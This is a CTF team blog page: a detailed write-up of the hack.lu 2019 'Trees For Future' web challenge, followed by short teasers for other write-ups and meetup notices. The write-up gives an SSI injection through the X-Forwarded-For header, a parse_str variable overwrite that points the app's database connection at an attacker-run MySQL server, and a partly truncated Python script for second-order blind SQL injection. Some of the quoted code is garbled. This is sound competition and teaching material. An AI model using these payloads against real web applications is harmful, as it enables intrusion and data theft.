hack.lu 2019 - Trees For Future

SSI injection, connect back to local MySQL, second order blind SQLi


We are TreesForFuture. We actively work towards getting more trees onto this planet. Recently we hired a contractor to create a website for us. While we still need to fill it with content in some places, you can already look at it


Having scored the first blood and with only 2 teams solving the challenge, I thought it was almost mandatory to publish a write-up. I have to say that I really liked it, even if I found it frustrating at a time. By looking back at all the steps needed to complete it, I can easily see that all the pieces fits perfectly in place and - probably - the only part that required some guessing, i.e., the location of the flag, has been addressed by one of the hints released 24h after the start of the competition. Many thanks to @_Imm0 and fluxfingers for preparing it. I had a long journey hacking through it but highly rewarding!


The challenge provides a simple single-page website that filled with Lorem ipsum quotes and a picture of a tree.

site homepage

A quick analysis of the HTML code of the page reveals a more interesting path where the tree picture is hosted

<img src="/internal/img/logo_white.png" alt="Avatar" width="300" height="300">

This portal served at

internal portal

offers a registration/login form and an admin page that tells us that we are not admin after logging in:

<div class="custom_tooltip">You're not admin.<span class="custom_tooltiptext">XXX.XXX.XXX.XXX isn't admins IP.</span></div>

To the source(s)

It seems obvious that to be identified as admins we need to come from a specific IP. To do so we first identify the internal IP of the host serving the challenge by crafting a malformed request to obtain some useful error message.

$ curl -X ''
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
<address>Apache/2.4.29 (Ubuntu) Server at Port 13337</address>

Once we know that the challenge is hosted internally at, port 13337, we can try to use the X-Forwarded-For header to trick the server into believing that our original IP is

$ curl -b 'PHPSESSID=qloervi3nq447sdlukt2cp0g29' -H 'X-Forwarded-For:'
<div class="main">
        <div class="custom_tooltip">You're not admin.<span class="custom_tooltiptext">, XXX.XXX.XXX.XXX isn't admins IP.</span></div>

The header is successfully parsed and the IP reflected back into the page, but no admin privileges are granted.

After hours of random attempts, we figured out that it was possible to perform a SSI injection (thanks Jan!) to leak the PHP source code of all the pages of the website.

$ curl -b 'PHPSESSID=qloervi3nq447sdlukt2cp0g29' -H 'X-Forwarded-For: <!--#include virtual="admin.phps" -->'

It's enough to repeat the process for all the pages to reconstruct the entire code base. Notice that the server prevents us from accessing files that are located outside of the current directory, so we can't read the following files: ../config.php, ../db_config.php, ../db_credentials.php.

Digging deeper

The sources are a constellation of bad security practices that is even surprising that the application is actually working. Sadly, this does not mean that the application can be easily exploited. As an example, we report some of the security pitfalls that can be easily spotted.

From login.php:

// We had some issues with double encoded values. This fixed it.
$parmas = parse_str(urldecode(file_get_contents("php://input")));

Here the parse_str() function is used to parse the body of the POST request. The PHP documentation clearly states that

Warning Using this function without the result parameter is highly DISCOURAGED and DEPRECATED as of PHP 7.2. Dynamically setting variables in function's scope suffers from exactly same problems as register_globals. Read section on security of Using Register Globals explaining why it is dangerous.

Basically we can set and overwrite variables by passing them over POST requests.

From register.php:

$params["password"] = hash("sha512", $params["password"]);
$stmt = $pdo->prepare("Insert into members (username, password) values (:username, '{$params['password']}')");
$stmt->bindParam(":username", $params["username"], PDO::PARAM_STR);

Contrary to the username value that is safely bound to the correct parameter, the password is hashed and then its hash is concatenated as a string to the SQL query. That said, the code above does not present any way to inject SQL statements, but it's definitely a bad practice that rang a bell in my head.

From admin.php:

    if (!isset($_SESSION["logged_in"]) || $_SESSION["logged_in"] !== true) {
        header("Location: /internal/login", true, 302);
    } else {
        /* disabled for security reasons */
        die("Disabled for security reasons");
        $parmas = parse_str(urldecode(file_get_contents("php://input")));
        $pdo = new_database_connection();
        $stmt = $pdo->prepare("select * from members where username like '%" . $params["username"] . "%'");
        if ($stmt->rowCount() >= 1) {
            $result = $stmt->fetchAll(PDO::FETCH_ASSOC);
            foreach($result as $row) {
                echo "<tr>";
                echo "<td>{$row['id']}</td>";
                echo "<td>{$row['username']}</td>";
                echo "<td>{$row['password']}</td>";
                echo "<td>{$row['admin']}</td>";
                echo "</tr>";
} ...

This is an extremely weird pattern. The whole code after the second die() call is dead and it is not clear for what reason this has been provided. Notice that without the second die() we could exploit parse_str() to overwrite $params["username"] and inject arbitrary SQL statements.

There are other peculiarities in the code.

From register.php:

if (isset($params["auto_login"])) {
    require_once "login.php";
    die("Welp, I have no idea what you did, but this code is supposed to be dead.");

By passing the $params["auto_login"] via POST to the register page, the backend includes login.php instead of redirecting us to that page.

From utils.php:

function new_database_connection()
       global $db_host, $db_name, $db_user, $db_pass;
       require_once "../db_config.php";
       include "../db_credentials.php";
       $pdo = new PDO("mysql:host=$db_host;dbname=$db_name", $db_user, $db_pass);
       return $pdo;

For some reason the database configuration (most likely $db_host and $db_name) are included using require_once, while the credentials are fetched via include. The difference between the two inclusion methods is that the require_once statement causes PHP to check if the file has already been included, and if so, does not include it again, while include does not perform this check.

From admin.php:

if ($_SESSION["is_admin"] === true) {
    // Joe: Implemented additional check. Bob told me that his friend recently bypassed this and that I should implement additional checks.
    $pdo = new_database_connection();
    $stmt = $pdo->prepare("SELECT admin FROM members WHERE id=" . $_SESSION["id"]);
    if ($stmt->rowCount() === 1) {
        $result = $stmt->fetch(PDO::FETCH_ASSOC);
        if ($result["admin"] === "1") {
            echo '<div id="Login"ok let's try to  class="">';
            echo '<br>';
            echo '<p>';
            echo '<h1><b> Member Search</b></br> </h1>';
            echo '</p>';
            echo '<form action="/internal' . $_SERVER["SCRIPT_NAME"] . '" method="POST">';
            echo '<label for="params[username]"><b>Username</b></label>';
            echo '<br>';
            echo '<button type="submit" class="button"><b>Search</b></button>';
            echo '<br>';
            echo '</form>';
            echo '</div>';
    } else {
        die("You ain't admin. You must be a bad hacker.");

The code above is traumatic. Even in the unlikely event that we manage to become admin, there is no evidence that a flag (in case you forgot, we're here for that indeed) will be printed anywhere.

Putting it all together

The previous section provides all the pieces needed to carry on the exploitation process. Not knowing where the flag is actually stored, my approach consisted in trying to subvert the application in any possible way and afterwards thinking about the flag. Turned out, indeed, that becoming admin was not the ultimate goal of the challenge, but it was a relevant step to get closer to the flag.

We have the powerful capability of setting/overwriting variables via POST requests, so let's try to make a good use of it. As mentioned before, register.php includes login.php if the registration completes successfully and if the POST parameter $params["auto_login"] is provided. In this case, the login.php code shares the environment set previously by the register.php page, including the variables that we can craft thanks to the parse_str() vulnerability. Looking for interesting variables to overwrite, I noticed again the new_database_connection() function defined in utils.php. Due to the different inclusion methods of db_config.php and db_credentials.php, we can assume that $db_user and $db_pass are re-instantiated every time new_database_connection() is called, while $db_host $db_name are left untouched by require_once after the first inclusion. It follows that if we pollute the environment from register.php and we manage to include login.php from the registration page, we can actually control the host and the database name used by the PDO connector used at login time!

Pwn like Bob's friend and get admin privs

The idea at this point is to register with any user, then let the PDO connector fetch login data from a MySQL server under our control and then head to /internal/admin having $_SESSION["is_admin"] set to true. The relevant snippet from login.php is provided below:

$params["password"] = hash("sha512", $params["password"]);
$stmt = $pdo->prepare("select * from members where username=:username and password='" . $params["password"] . "'");
$stmt->bindParam(":username", $params["username"], PDO::PARAM_STR);
if ($stmt->rowCount() === 1) {
    // Successfully logged in. Populate Session.
    $result = $stmt->fetch(PDO::FETCH_ASSOC);
    $_SESSION["username"] = $result["username"];
    $_SESSION["id"] = $result["id"];
    $_SESSION["logged_in"] = true;
    $_SESSION["is_admin"] = $result["admin"] === "1" ? true : false;
    header("Location: /internal/admin", true, 302);

The preconditions to perform the attack are easily satisfiable, but notice that the MySQL username and password used by the connector are unknown. The username ctf-user can be leaked by setting up a MySQL server and check the logs for failed connection attempts, but - as far as I know - the password cannot be retrieved in a similar way.

2019-10-23T01:04:10.766062Z 5 [Note] Access denied for user 'ctf-user'@'' (using password: YES)                                                             

Also, creating a username without a password results in a "access denied" error when the connector provides a password. After enough googling I figured out that is it possible to completely get rid of password checking by setting the option skip-grant-tables on my MySQL configuration file. Thanks to this totally unsafe debugging feature, we can perform the attack by:

  1. Create the database tree in the MySQL instance hosted on our server tree.minimalblue.com and grant access to that db to the user ctf-user
  2. Create the table tree.members and add one row that matches a user that we will register on the challenge site in the next step, setting the admin column to 1. For example, given the user marco with password lol, we should add something like this:
| id | username |                    password | admin |
|  0 |    marco | 3dd28c5a23f780659d83dd99... |     1 |
  1. Register the same user marco with password lol on the and pass to that endpoint the POST variables that will cause the database parameters to be overwritten at login time:
  2. params[username]=marco
  3. params[password]=lol
  4. params[auto_login]=on
  5. db_host=tree.minimalblue.com
  6. db_name=tree
  7. Given that we are forcibly setting admin=1 in the result set of the query performed by the login page, we should be able to simply follow the redirection to /internal/admin to verify that we effectively gained admin access by checking whether the Member Search text is found in the page.

Sorry Joe, we ain't like Bob's friend

Now that we managed to gain admin privileges and we entered a branch in the code that looked impossible to reach at the beginning of this quest, it is time to look for the flag. Assuming that the flag is in the database (this has been subsequently confirmed by a hint released 24h after the competition start), we must find a way to inject arbitrary SQL statements, dump the list of tables, columns and - eventually - read the flag.

To do so we can leverage the same technique adopted to login as admin and perform a second-order SQL injection by saving the payload in the id column the user that we create on our server. You can indeed observer that login.php sets $_SESSION["id"] to any value that we provide in our table and then this value is concatenated in admin.php to perform another query, opening space to SQL injections:

$stmt = $pdo->prepare("SELECT admin FROM members WHERE id=" . $_SESSION["id"]);

Since the output of this query is not directly printed in the page, we have to rely on a blind SQL injection and leak 1 bit of information at a time by registering a new user at every request. As a oracle, we set the admin value to either 1 or 0 depending on our condition. It turned out that the flag was stored in the table s3cr3t_st0r4g3 under the column s3cr3t. The full script developed to execute the attack is provided below:


import sys
import string
from subprocess import run, PIPE
import requests

CHARS = sorted(string.printable, key = lambda c: ord(c))
URL = ''
USERNAME = 'fqertyuiop'
COUNT = 1337

def remote_add(payload):
    user = '{}_{}'.format(USERNAME, COUNT)
    php_code = '''
        $pdo = new PDO("mysql:host=$db_host;dbname=$db_name", $db_user, $db_pass);
        $stmt = $pdo->prepare("INSERT INTO members(id, username, password) VALUES ('QUERY', 'USER', 'f7fbba6e0636f890e56fbbf3283e524c6fa3204ae298382d624741d0dc6638326e282c41be5e4254d8820772c5518a2c5a8c0c7f7eda19594a7eb539453e1ed7')");
    '''.replace('QUERY', payload).replace('USER', user)

    run(['php', '-r', php_code], stdout=PIPE)

def oracle(pos, guess):
    payload = '-337 UNION SELECT IF({}>=(SELECT ORD(MID(s3cr3t, {}, 1)) from s3cr3t_st0r4g3 LIMIT 1), 1, 0)'.format(guess, pos)


    s = requests.Session()
    r = s.post('{}/internal/register.php'.format(URL), {
            'params[username]': '{}_{}'.format(USERNAME, COUNT),
            'params[password]': 'foo',
            'params[auto_login]': 'on',
            'db_host': 'tree.minimalblue.com',
            'db_name': 'tree'
        }, allow_redirects=True)

    return 'Member Search' in r.text

def search_bin(pos):
    global COUNT

    l = 0
    h = len(CHARS)-1

    while l != h:
        m = (l + h) // 2
        if oracle(pos, ord(CHARS[m])):
            h = m
            l = m + 1

        COUNT += 1

    return CHARS[l]

def main():
    for pos in range(1, 100):

if __name__ == '__main__':

Flag: flag{ffc1f54c7a4e7f7e9065d4b16f1ac742}

Tasteless 2019 - Gabbr


Overview gabbr is an online chatroom service. Upon loading the page, one joins a chatroom specified in the anchor part of the URL e.g. https://gabbr.hitme.tasteless.eu/#8f332afe-8f1d-411f-80f3-44bb2302405d. If no name is specified, a random UUID is generated upon join. The main functionality is to send messages in the chatroom. Furthermore, one can change the username to another randomly generated one, join a new random chatroom and report the chatroom to an admin. Upon reporting an admin joins the...

Read More
hack.lu 2019 - Car Repair Shop

prototype pollution, URL regex bypass, DOM-XSS

Challenge Description "Your Car broke down?! Come to our shop, we repair all cars! Even very old ones." Enter the Shop Analysis After accessing the URL of the challenge description the following page showed up: Here we can see several buttons which will execute certain functions when clicked. Below there is a message box which gets updated after some function was executed. At the bottom there was another button named Get your cookie! which lead to...

Read More
Monthly Meetup Monday

August Monthly Meetup! As always Open-to-All!

Where: @SBA Research (Floragasse 7, 1040 Wien, 5th Floor) When: Monday, 05.08.2018, 18:30 (CEST) What: Plans for upcoming CTFs Reviewing challenges of past CTFs $YOUR_TOPIC_HERE$ and of course Socializing ;)...

Read More
iCTF 2019

We participated in the iCTF 2019 and finished 2nd.

Last Friday we took part in this year's iCTF. The theme was "Race Condition", and like last year, the competition was open to everyone and hosted racing cars, err, vulnbox VMs were provided in the cloud 🌩️. New this year was a combination of Jeopardy challenges and classic Attack/Defense gameplay, "Jeopardy Defense" so to speak. The Jeopardy challenges were demanding by themselves (TI-83+ assembly, anyone?) and could be used to unlock functionality in the AD...

Read More
CTF Meetup


This time we don't have anything planned in particular, but if you're curious about CTFs you can just come and hang out with us. We might work on some OverTheWire Advent Calendar challenges as well. Where: @FH4, TU Wien (Wiedner Hauptstraße 8-10, 1040 Wien, Yellow Area) When: Thursday, 06.12.2018, 18:30 (CET) What: Nothing planned in particular Casual CTF discussion/challenge solving...

Read More
CTF Meetup: angr Intro and Lab Challenge Discussion

ctf, angr, lab

With this meetup we'll give another angr introduction, presenting the tutorial here. This introduction makes it a lot easier to solve the ragequit lab challenge and we will also be answering questions about said challenge. Where: @FH4, TU Wien (Wiedner Hauptstraße 8-10, 1040 Wien, Yellow Area) When: Thursday, 29.11.2018, 18:30 (CET) What: angr Introduction Q&A and Hints about the Lab Challenge...

Read More
CTF Meetup: gnuradio Lab Challenge and More

ctf, gnuradio

Back on track after RuCTF, and we'll start with an overview of the AVR architecture, which is relevant for the current lab exercise of Advanced Internet Security. We'll also show how the gnuradio challenge can be solved without actually using gnuradio and afterwards we're gonna pick one CTF challenge and work on it. Where: @FH4, TU Wien (Wiedner Hauptstraße 8-10, 1040 Wien, Yellow Area) When: Thursday, 15.11.2018, 18:30 (CET) What: AVR Architecture Overview Working on the signal.dump without gnuradio Reviewing/Working on...

Read More
CTF Meetup: Lab Challenge Review and RuCTF

RuCTF, botnet-takedown

Today we'll be giving a walkthrough of the first lab challenge of Advanced Internet Security, botnet-takedown, and we're gonna talk about the (Russian) elephant in the room: RuCTF. The CTF will happen on Saturday and we'll meet up at 10:00 CET, let us know if you want to join in. Where: @FH4, TU Wien (Wiedner Hauptstraße 8-10, 1040 Wien, Yellow Area) When: Thursday, 08.11.2018, 18:30 (CET) What: botnet-takedown Walkthrough RuCTF: Gameplay and Infrastructure...

Read More
SECCON 2018 Quals - Needle in a haystack


General problem description We got a 9 hours long video captured with a webcam on the top of a tall building in Tokyo(?). Find the flag. Solution First our guess was, that there will be a single frame which shows the flag, but fast-forwarding the video did not reveal anything like that. The next idea was to export every frame and use fuzzy hashing to find very different frames. While the script was doing the exporting we were fast-forwarding the...

Read More
SECCON 2018 Quals - Runme


General problem description Given was a Windows binary, which was apparently waiting to be started with the correct cmd arguments. Solution The binary checked character by character the cmd arguments with a hard-coded value which was: "C:\\Temp\\SECCON2018Online.exe" SECCON{Runn1n6_P47h} The flag was: SECCON{Runn1n6_P47h}...

Read More
SECCON 2018 Quals - Special device file


General problem description We were given a arm64 ELF-Binary which was accessing a special device named xorshift64. The flag and some additional random values were hard-coded into the elf. Solution The ELF does more-or-less the same as this pseudocode: # init device #with open('/dev/xorshift64', 'r') as d: d.write(0x139408fcbbf7a44) # decode flag with open('/dev/xorshift64', 'r') as d: for i Read More

SECCON 2018 Quals - Special instructions


General problem description We were given a moxie ELF-Binary which was implementing the xorshift32 PRNG algorithm. The flag and some additional random values were hard-coded into the elf. Solution Similar to the Special device file challenge the binary took the flag xored with a random value hard-coded into to binary and xored again with a value taken from the xorshift32 algorithm. The catch was again, that we didn't know the correct configuration of the algorithm only the seed and...

Read More
HITCON 2018 - EV3 Basic


General problem description For this challenge we got a picture of a Lego Mindstorm EV3, which displays the flag partly (see below). And we also got a pcap (OK, it was in the apple PackageLogger format) with captured Bluetooth transmission. Solution The pcap shows Bluetooth traffic, and wireshark finds furthermore identifies RFCOMM protocol. Some of them includes additional data parts. If you dig around long enough on the internet you can find a wireshark dissector written...

Read More
HITCON 2018 - EV3 Scanner


General problem description Similar to the previous challenge we got two images (see below) and a pcap. Solution Like before we use the found wireshark dissector to see what happens. However this time we find way more relevant packages than before. After some filtering we identified, that the base station sends only four different commands: OUTPUT_TIME_SPEED: go in a direction with a constant speed for given time OUTPUT_STEP_SYNC: turn given "ticks" long OUTPUT_STEP_SPEED: go in...

Read More
Hack.lu CTF 2018 - Rusty CodePad

Rust Safe Code Bypass

Description I heard Rust is a safe programming language. So I built this CodePad where you can compile and run safe Rust code. Initial Situation We had access to a web-terminal with a limited set of commands: $ help help - print this help clear - clear screen ls - list files cat - print file content rusty - compile rusty code version - print version Calling ls reveals a Rust project file structure and a file called flag.txt: $ ls flag.txt target src lib rusty.sh Cargo.toml Now, running...

Read More
Intro Meetup: Tool Overview


Because we decided on the meetup date on relatively short notice, we'll give an overview of the tools we regularly use. If requested, we can go into detail into certain topics. Where: @FH4, TU Wien (Wiedner Hauptstraße 8-10, 1040 Wien, Yellow Area) When: Thursday, 18.10.2018, 18:30 (CEST) What: Tooling overview...

Read More
Google CTF Quals 2018 - Back To Basics

C64 BASIC Reversing

General problem description You won't find any assembly in this challenge, only C64 BASIC. Once you get the password, the flag is CTF{password}. P.S. The challenge has been tested on the VICE emulator. We got an old .prg file, which is a C64 program file. Parsing the file First we tried using parsers that exist in the wild, that would parse the file for us, but that proved to be not effective, as there were not many and...

Read More
Google CTF Quals 2018 - JS Safe

JavaScript Anti-Debug

General problem definition You stumbled upon someone's "JS Safe" on the web. It's a simple HTML file that can store secrets in the browser's localStorage. This means that you won't be able to extract any secret from it (the secrets are on the computer of the owner), but it looks like it was hand-crafted to work only with the password of the owner... The assignment was a Javascript file, which needs the Flag as input. Getting to...

Read More
Google CTF Quals 2018 - Shall We Play A Game?

Android APK Reversing

General problem description Win the game 1,000,000 times to get the flag. For this challenge we got an .apk file, which we should apperently run and win 1,000,000 times. We let the online Java-decompiler at http://www.javadecompilers.com/apk. Running the apk on an Android-Phone or emulator shows us the game: Tic Tac Toe. We also get a counter 0/1000000 on the bottom of the screen. Each win increases the counter by one. Naive approach by recompiling the app We used...

Read More
Recap: Google CTF

Recap Google CTF Challenges

We've been collaborating with LosFuzzys (https://hack.more.systems) for Google CTF and managed to solve a few challenges. This meetup, we'll go over some of those challenges. Where: @EI3A, TU Wien (Gußhausstraße 25, 1040 Wien, 2nd Floor) When: Thursday, 28.06.2018, 17:30 (CEST) What: Google CTF Recap...

Read More
Intro Meetup: Wargames


Wargames by the OverTheWire Community (http://overthewire.org/wargames/) are a set of challenges to practice basic security concepts. Where: @EI3A, TU Wien (Gußhausstraße 25, 1040 Wien, 2nd Floor) When: Thursday, 21.06.2018, 17:30 (CEST) What: Wargames...

Read More
Intro Meetup: Frida

Dynamic Analysis with Frida

This meetup we will cover a basic introduction to Frida (https://www.frida.re/), a cross-platform dynamic instrumentation toolkit, and give a practical example of a past CTF challenge. Where: @EI3A, TU Wien (Gußhausstraße 25, 1040 Wien, 2nd Floor) When: Thursday, 14.06.2018, 17:30 (CEST) What: Intro to Frida Practical Example Challenge Frida and Android...

Read More
Intro Meetup: Exploitation

pwntools/exploit writing

As an introduction to the last internet security challenge, we will give a short overview to writing exploits with pwntools. Where: @EI3A, TU Wien (Gußhausstraße 25, 1040 Wien, 2nd Floor) When: Thursday, 07.06.2018, 17:30 (CEST) What: Intro to pwntools Exploit Writing...

Read More
Intro Meetup: Attack/Defense

FAUST CTF is coming

Next week, we will participate in FAUST CTF, an online attack-defense CTF. We will meet up at SBA Research and participate together. If you are curious about participating, what CTFs are or what's special about attack-defense CTFs, we are hosting this preparation meetup as part of our weekly CTF/Security meetup series. If you can't make it to the meetup, but still want to participate in the CTF, please contact us. Where: @EI3A, TU Wien (Gußhausstraße 25, 1040...

Read More
Intro Meetup: Reversing

Intro to reversing: disassembly/side channels

Where: @EI3A, TU Wien (Gußhausstraße 25, 1040 Wien, 2nd Floor) When: Thursday, 17.05.2018, 17:30 (CEST) What: Intro to Reverse Engineering, disassembly and software side channel attacks...

Read More
Monthly Meetup Monday

April Monthly Meetup! As always Open-to-All!

Where: @SBA Research (Favoritenstrasse 16, 1040 Wien, 1st Floor) When: Monday, 09.04.2018, 18:30 (CEST) What: Recap of past CTFs/challenges $YOUR_TOPIC_HERE$ and of course Socializing ;)...

Read More
UCSB iCTF 2017 - yacs

Yet another... cat service?!

yacs is a tool to store and later retrieve text snippets. If you store program source code there, it can even compile it for you! So handy. Of course, everything is protected using state-of-the-art user authorization and password hashing. It's a big C++ compiled binary which uses a local SQLite database file for data storage. Here's a normal create/list paste workflow: ___...

Read More
RuCTF Finals 2017

We participated in the RuCTF Finals 2017 and finished 12th.

Last Sunday we had the pleasure to participate in the RuCTF Finals 2017 in Yekaterinburg, Russia. After a long day of attacking other teams and defending our own services we managed to secure the 12th place out of 23 active teams. The services we had to work on were really interesting and quite diverse. But a really nice touch to the game was the actual hardware separation of services. Instead of providing a virtual machine...

Read More
Monthly Meetup Monday

First Meetup of 2017! As always Open-to-All!

Where: @SBA Research (Favoritenstrasse 16, 1040 Wien, 1st Floor) When: Monday, 09.01.2017, 18:30 (CET) What: Recap of past CTFs/challenges What to change in 2017? $YOUR_TOPIC_HERE$ and of course Socializing ;)...

Read More

Bitcoin as OP_RETURN Dropbox

The description of the challenge was as follows: There has been some strange transactions on this blockchain! Let's do some research. After downloading and extracting the data (fbi300_64635d9aa64b20d0.7z) is was clear that we where looking at at a .bitcoin folder of a bitcoin-core client hat was started in regtest mode. As a first guess we used bitcoin-abe to read and analyze the blockchain. (https://github.com/bitcoin-abe/bitcoin-abe). Since bitcoin-abe looks out-of-the-box in the default bitcoin directory ($HOME/.bitcoin/blcoks/*) the only thing we...

Read More
Monthly Meetup

Another month, another meetup

We meet to discuss CTF's, writeups and other security related stuff. Whatever happened during the last month....

Read More
TrendMicroCTF 2016 - SCADA 300


The description of the challenge was as follows: In this challenge you are presented with a PCAP that comes from a network infected by a well known SCADA related APT Threat (hint: pay attention to potential C&C) Identify the relevant packets related to the malware and attempt to find the flag in the normal format So first we had to download and unpack the relevant file. After fiddling around with wireshark we identified a suspiciously looking HTTP...

Read More
iCTF 2015

We participated in the iCTF 2015 and finished 8th.

Last Friday we participated in this year's iCTF. For the first time the services were not written by the organizers, but each team had to provide a service themselves in order to participate. Although this meant that there were fewer teams this year, still 30 teams took up the challenge in total. The organizers also got some angry comments for this setup, and they liked one of them so much that their unofficial theme...

Read More
hack.lu CTF

We participated in the hack.lu CTF and finished 45th.

The past two days we were busy hacking in the hack.lu CTF. The challenges by fluxfingers were superb as always, and we solved quite some of them. Kudos to the top three teams, what a photo finish! You can find the scoreboard here....

Read More

We are looking for new hackers

This semester, we are looking for fresh blood to expand our team. If you think you have what it takes to deal with the challenges of interactive hacking challenges, live trouble-shooting for flaky Internet connections, defending online services which you have never seen before and the forensics skills to pinpoint exploits in a gbit connection, drop us an email at iwant2pwn@w0y.at Please include which security courses you have completed so far at TU...

Read More
New Homepage!

We have a new homepage. And yes, we are on Twitter, too ...

Since this week we now have a public website, which will be updated with news and writeups. We are now on Twitter too, which will be used for live coverage from actual contest. Next week is the hack.lu CTF, and we will participate....

Read More
Finished 3rd at iCTF2014

In this years iCTF2014-2015, themed "hacking at scale", we reached the 3rd place out of more than 80 participating universities.

Last Friday we participated in the ictf2014 and reached the 3rd place out of more than 80 participating universities. This years theme was "hacking at scale" with 42 services to pwn, most of which had been reused from previous iCTF's. We constantly improved our score during the CTF until we were at the second place about one hour before the end with only Team Bushwhackers in front of us. However, SpamAndHex did an incredible finish,...

Read More
  • 1
  • 2